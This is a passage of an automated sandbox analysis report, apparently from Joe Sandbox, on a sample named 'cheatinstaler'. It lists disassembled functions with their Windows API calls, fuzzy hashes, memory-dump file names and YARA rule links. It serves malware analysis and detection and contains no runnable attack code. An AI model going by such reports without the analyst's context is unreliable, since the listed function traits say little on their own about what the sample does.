Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ByteCharMultiWide$StringType
String ID: $%s
API String ID: 3586891840-3791308623
Opcode ID: 8174e861c2faa6f2f7f5292a0ee7474812abc1109b8acb2517e9a7bc716d8d39
Instruction ID: 603cec34b3125a95633df062e8fbcbb242d574e4db1bb0bf19665eda589ecb16
Opcode Fuzzy Hash: 8174e861c2faa6f2f7f5292a0ee7474812abc1109b8acb2517e9a7bc716d8d39
Instruction Fuzzy Hash: 6E419E22B15B818AEB218F27D9003A922A5FF46BE9F494235DEED877C5DF3CE5419340

Function 00007FF6C16E66A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16E5210: abort.LIBCMT ref: 00007FF6C16E5223

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6C16E674A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF6C16E6776

Strings

csm, xrefs: 00007FF6C16E6876

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: ef48871438151390fa300b301edbe87f2aaf35895cd4fd9de5e2d21b12dcaab2
Instruction ID: d1f487429f8ed418e12546c92ac6f906f30327b2143cee5c91969d1fc0ae32db
Opcode Fuzzy Hash: ef48871438151390fa300b301edbe87f2aaf35895cd4fd9de5e2d21b12dcaab2
Instruction Fuzzy Hash: 6F518E7662874287DB20AF26E94026E77A4FB88B91F040234EBCD87B55CF38E551DB80

Function 00007FF6C16F4360 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6C16F4446
WriteFile.KERNEL32 ref: 00007FF6C16F4479
GetLastError.KERNEL32 ref: 00007FF6C16F449B

Strings

U, xrefs: 00007FF6C16F4424

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: a3c4996b5397ae7c68c43f4944c85cd830f0b958292ccb38960a62bfe152ddee
Instruction ID: 550ab45bf1337d40257c3c495ba42e798a9d0935f1360e1cb9ab0d91b26adc2e
Opcode Fuzzy Hash: a3c4996b5397ae7c68c43f4944c85cd830f0b958292ccb38960a62bfe152ddee
Instruction Fuzzy Hash: C341AE22B19A8182EB208F26E8443AA67A1FB88795F844131EECDC7B88DF7CD451D744

Function 00007FF6C16D90B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6C16D90D9
GetObjectW.GDI32 ref: 00007FF6C16D9107
ReleaseDC.USER32 ref: 00007FF6C16D91BB

Strings

, xrefs: 00007FF6C16D9153

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ObjectRelease
String ID:
API String ID: 1429681911-3916222277
Opcode ID: 0b5772d91688d342ea342be5c9c3c9ea07a5ad9e93d570546deb1a9808731c40
Instruction ID: be82a17ebcb2445e40d69a0a2abe587a37ff7e6f2587f02b94f24cbce8c8134d
Opcode Fuzzy Hash: 0b5772d91688d342ea342be5c9c3c9ea07a5ad9e93d570546deb1a9808731c40
Instruction Fuzzy Hash: A1312D3561874286EB15DF13B82862AB7A1F789FD2F604435ED8E83B55CE3CE449CB10

Function 00007FF6C16CE870 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(?,?,?,00007FF6C16D317F,?,?,00001000,00007FF6C16BE51D), ref: 00007FF6C16CE8BB
CreateSemaphoreW.KERNEL32(?,?,?,00007FF6C16D317F,?,?,00001000,00007FF6C16BE51D), ref: 00007FF6C16CE8CB
CreateEventW.KERNEL32(?,?,?,00007FF6C16D317F,?,?,00001000,00007FF6C16BE51D), ref: 00007FF6C16CE8E4

Strings

Thread pool initialization failed., xrefs: 00007FF6C16CE900

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 6610cce2f1ff4f40d78c24fcbab0d777ace7136147ab701da82aad1b7a389e44
Instruction ID: c4c5a8dfbfb5114626faab7a79fe3e9e9d600c3cf82fbd8ae7fa546be9577978
Opcode Fuzzy Hash: 6610cce2f1ff4f40d78c24fcbab0d777ace7136147ab701da82aad1b7a389e44
Instruction Fuzzy Hash: 68213D32F1564286FB108F26D4547FD36A2FB94B0EF288034CACD8A295DF7E9455D780

Function 00007FF6C16D85E0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6C16D85EC
GetDeviceCaps.GDI32 ref: 00007FF6C16D85FD
ReleaseDC.USER32 ref: 00007FF6C16D860A

Strings

, xrefs: 00007FF6C16D8610

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-3916222277
Opcode ID: a42f7bf34e2550c06df92b4c4441a28b155cc5d7cfc3f2a0da00e80f490195b4
Instruction ID: 23163b558febeafb6fecbd4f182068d7fe25da7fd142acbacf5ee956a30455a3
Opcode Fuzzy Hash: a42f7bf34e2550c06df92b4c4441a28b155cc5d7cfc3f2a0da00e80f490195b4
Instruction Fuzzy Hash: 79E0C220B0CA4186FB085BB7B5A903E6261AB4CBD1F258035DA5F83795CE3CC4C44310

Function 00007FF6C16BD1A8 Relevance: 6.2, APIs: 4, Instructions: 238timeCOMMON

Download Yara Rule

APIs

SetFileTime.KERNEL32 ref: 00007FF6C16BD46C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BD554
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BD55A
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BD560

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$FileTime
String ID:
API String ID: 1137671866-0
Opcode ID: 6a66750d7d38e285348c6a4672a5517d432b12a502a6a2b91e6f62eece89d76d
Instruction ID: 6831ce9ed5502fe12f1c0358791c209b82fdd1e1ca072f804e81f68e07ad8473
Opcode Fuzzy Hash: 6a66750d7d38e285348c6a4672a5517d432b12a502a6a2b91e6f62eece89d76d
Instruction Fuzzy Hash: CDA1B262A18B8281EB10DF66E8502ED6371FF85799F405131EADD87AE9DF3CE544E700

Function 00007FF6C16D0548 Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6C16D05FC
SetLastError.KERNEL32 ref: 00007FF6C16D0697

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: a1a85338bd98e6dbbf4cbb69018a0b2acca20fb05f372e3efc38fb1d82780d4d
Instruction ID: f81e5b21798c1051cd6aeee541b91974bfa5126928140ccc53aece151693b761
Opcode Fuzzy Hash: a1a85338bd98e6dbbf4cbb69018a0b2acca20fb05f372e3efc38fb1d82780d4d
Instruction Fuzzy Hash: B451B262B14A4695FB00AF7AD4542FC2321EF85BD9F504235EADC977D6EE2CD640E340

Function 00007FF6C16D9D90 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6C16D9DBC
GetLastError.KERNEL32 ref: 00007FF6C16D9E08
CreateDirectoryW.KERNEL32 ref: 00007FF6C16D9F10
LocalFree.KERNEL32 ref: 00007FF6C16D9F20

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CreateCurrentDirectoryErrorFreeLastLocalProcess
String ID:
API String ID: 1077098981-0
Opcode ID: 91dec681af915968dd102d853b3eeeabd4842e789cbe2ad92d88e952f467e522
Instruction ID: c1efd8766e994ed311c2ea6673c262dca0cfff8fffdab0e826236b45dddbb270
Opcode Fuzzy Hash: 91dec681af915968dd102d853b3eeeabd4842e789cbe2ad92d88e952f467e522
Instruction Fuzzy Hash: 81517032A18B8286EB50DF22E4447AE7364FB85B85F601135EACE97B54DF3CD504CB40

Function 00007FF6C16EDB5C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C16EDBAF
WideCharToMultiByte.KERNEL32 ref: 00007FF6C16EDC81
GetLastError.KERNEL32 ref: 00007FF6C16EDCA4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C16EDCD6

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: fdb879c7c344a6dcddabd48f24568e2f5e84c2dc3f6ceef9c32cec135b3ccbbf
Instruction ID: 2647fa5e31b2153e306b7c4eb16dae530f785fc41f7981f498233996392f40e3
Opcode Fuzzy Hash: fdb879c7c344a6dcddabd48f24568e2f5e84c2dc3f6ceef9c32cec135b3ccbbf
Instruction Fuzzy Hash: 9041D472A0C64246FB618F12D840379A294EF90FD2F148231DACD87AC5DF7CDA51A780

Function 00007FF6C16C3980 Relevance: 6.1, APIs: 4, Instructions: 101fileCOMMON

Download Yara Rule

APIs

MoveFileW.KERNEL32 ref: 00007FF6C16C39BD
MoveFileW.KERNEL32 ref: 00007FF6C16C3A34
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C3AEB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C3AF1

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: FileMove_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3823481717-0
Opcode ID: 47dbf0decc8272d9a7ae459b130201949f9107b8ec80fb87a20ec63cf3da1f82
Instruction ID: 381222e7e1d4b07565498eb521d67cef181f4d2581a2ee718292eb4198c0ebb8
Opcode Fuzzy Hash: 47dbf0decc8272d9a7ae459b130201949f9107b8ec80fb87a20ec63cf3da1f82
Instruction Fuzzy Hash: 2141AD62F14B5284FF00DFAAE8541AC2372BF44BA9B009235DEDDA7A99EF38D451D240

Function 00007FF6C16F0B78 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6C16EC45B), ref: 00007FF6C16F0B91
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6C16EC45B), ref: 00007FF6C16F0BF3
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF6C16EC45B), ref: 00007FF6C16F0C2D
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF6C16EC45B), ref: 00007FF6C16F0C57

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 23704c5f87cc5d65a6a85ab0da0438508b9fc27f2b888927c3d6011bf25654c1
Instruction ID: 14b125a633ac9db461b77a7a0bdf1a2fd24671d68e08272682a0073d059869de
Opcode Fuzzy Hash: 23704c5f87cc5d65a6a85ab0da0438508b9fc27f2b888927c3d6011bf25654c1
Instruction Fuzzy Hash: 1E218731F18B5581E7249F13A44022976A5FF98BD1B484135DEEEA3BA4DF3CE4529304

Function 00007FF6C16ED440 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF6C16E7F28,?,?,?,00007FF6C16E9D35), ref: 00007FF6C16ED44A
SetLastError.KERNEL32(?,?,?,00007FF6C16E7F28,?,?,?,00007FF6C16E9D35), ref: 00007FF6C16ED4B2
SetLastError.KERNEL32(?,?,?,00007FF6C16E7F28,?,?,?,00007FF6C16E9D35), ref: 00007FF6C16ED4C8
abort.LIBCMT ref: 00007FF6C16ED4CE

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: df247b5a3948333368795c339682862bf84e23f7c025c70b8dad3e7beb060077
Instruction ID: 2ef3a83adf2da84c4e2640ab269fa0c0e3b8dc3cab8d1bd4b13168b51d76d8b9
Opcode Fuzzy Hash: df247b5a3948333368795c339682862bf84e23f7c025c70b8dad3e7beb060077
Instruction Fuzzy Hash: 23019214B0964282FB58AF33ED5527C11915F547D2F044678E9EEC77D6ED2CFA05A280

Function 00007FF6C16D8590 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6C16D8598
GetDeviceCaps.GDI32 ref: 00007FF6C16D85AE
GetDeviceCaps.GDI32 ref: 00007FF6C16D85C2
ReleaseDC.USER32 ref: 00007FF6C16D85D3

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: de15d0a72ac65e47349a1b4cc9ca260558533dfe27db70e7b1e031f833f09c6c
Instruction ID: af6db2887e4ff33ddf63801c0ae997c8bf1dba87ea396c9827e9bce9570b7a28
Opcode Fuzzy Hash: de15d0a72ac65e47349a1b4cc9ca260558533dfe27db70e7b1e031f833f09c6c
Instruction Fuzzy Hash: F6E0ED60E09A0682FF095F7368791366191AF48743F288439D89E86351DD3CE1958620

Function 00007FF6C16BE34C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16BE549

Strings

DXGIDebug.dll, xrefs: 00007FF6C16BE35A

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: DXGIDebug.dll
API String ID: 3668304517-540382549
Opcode ID: 2b89549b7426e50bfd34945384ed8c0e8b0bf6c6c1231d7991053c614d04a2bf
Instruction ID: fc02070dbb220a5932aef40cf75057419ffe7b7a545b21ecd8a681e3a3dc5ace
Opcode Fuzzy Hash: 2b89549b7426e50bfd34945384ed8c0e8b0bf6c6c1231d7991053c614d04a2bf
Instruction Fuzzy Hash: A571CC72A14B8186EB14CF26E8403ADB3A9FB54798F004236DBEC47B99DF78E161D340

Function 00007FF6C16EE1F4 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C16EE237

Strings

gfff, xrefs: 00007FF6C16EE362
e+000, xrefs: 00007FF6C16EE2DF

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

Associated: 00000003.00000002.1267036357.00007FF6C16B0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267113868.00007FF6C16F8000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C170B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267138552.00007FF6C1714000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1267257764.00007FF6C171E000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6c16b0000_cheatinstaler cheatinstalerF6R54T.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: ffbcb58cc87a1110f60409a8afde5d08377aab6ce8cf060c3284a5669936e3c2
Instruction ID: 83c48b3f29f8e01a63c9cfddc356c1e1066aad857b956867a26acdcb9fc17fbf
Opcode Fuzzy Hash: ffbcb58cc87a1110f60409a8afde5d08377aab6ce8cf060c3284a5669936e3c2
Instruction Fuzzy Hash: E251E262B187C18AE7258F369D413697B91AB81B91F089331CAEC87BDACF2CD5449740

Function 00007FF6C16C9408 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6C16C95A8: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6C16C95E6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C959C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6C16C95A2

Strings

SIZE, xrefs: 00007FF6C16C9443

Memory Dump Source

Source File: 00000003.00000002.1267073404.00007FF6C16B1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6C16B0000, based on PE: true

